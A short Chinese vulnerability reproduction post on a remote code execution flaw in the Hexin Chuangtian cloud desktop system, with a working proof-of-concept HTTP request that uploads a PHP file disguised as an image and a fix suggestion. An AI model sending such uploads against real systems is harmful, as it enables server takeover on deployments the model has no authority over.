和信创天云桌面系统远程命令执行 RCE漏洞复现渗透测试

前言

和信创天云桌面系统，官方介绍，市场上主要有华为、深信服、锐捷、和信创天四大云桌面厂商，华为从网络设备的角度打造整体解决方案，深信服从安全的角度切入云桌面，锐捷主打针对教育行业的云课堂业务，但前三家厂商的云桌面产品多以传统VDI架构为主，和信创天的下一代云桌面能够融合VDI、VOI和IDV三大架构。

漏洞影响：和信创天云桌面系统

漏洞复现

poc

POST /Upload/upload_file.php?l=1 HTTP/1.1
Host: 127.0.0.1:2001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://127.0.0.1:2001/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
Content-Length: 182

------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/avif

<?php phpinfo(); ?>
------WebKitFormBoundaryfcKRltGv--

可以直接使用HackBar进行重放

然后访问路径 ````/Upload/“.$l.”/“.$_FILES[“file”][“name”]```

本例则为 /Upload/1/test.php

修复建议

修改upload_file.php 限制文件上传类型

注意：本文仅供学习参考，非法传播及使用产生的后果自行承担，与本文作者无关

欢迎讨论，持续更新中，感谢关注！